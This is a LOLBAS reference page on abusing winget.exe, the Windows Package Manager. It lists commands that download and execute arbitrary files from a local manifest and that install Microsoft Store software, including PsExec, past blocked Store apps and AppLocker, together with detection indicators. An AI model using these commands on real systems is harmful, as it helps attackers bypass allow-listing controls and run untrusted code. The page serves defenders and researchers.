LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

winget.exe

View source

Windows Package Manager tool

ExecuteDownloadAWL Bypass
03COMMAND EXAMPLES
01ATT&CK TECHNIQUES
02DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute1

EXAMPLE 01T1105

Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: `winget settings --enable LocalManifestFiles`

COMMAND
winget.exe install --manifest {PATH:.yml}
USE CASE
Download and execute an arbitrary file from the internet
PRIVILEGES
Local Administrator - required to enable local manifest setting
OPERATING SYSTEM
Windows 10, Windows 11
Execute · RemoteExecute · EXE

Download1

EXAMPLE 01T1105

Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use "Sysinternals Suite" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

COMMAND
winget.exe install --accept-package-agreements -s msstore {name or ID}
USE CASE
Download and install software from Microsoft Store, even if Microsoft Store App is blocked
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11

AWL Bypass1

EXAMPLE 01T1105

Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine, and even if AppLocker is active on the machine. For example, use "Sysinternals Suite" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

COMMAND
winget.exe install --accept-package-agreements -s msstore {name or ID}
USE CASE
Download and install software from Microsoft Store, even if Microsoft Store App is blocked, and AppLocker is activated on the machine
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Users\user\AppData\Local\Microsoft\WindowsApps\winget.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources

Indicators & detection notes

  • IOC

    winget.exe spawned with local manifest file

  • IOC

    Sysmon Event ID 1 - Process Creation

REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Paul@saulpanders
Konrad 'unrooted' Klawikowski
Fredrik H. Brathen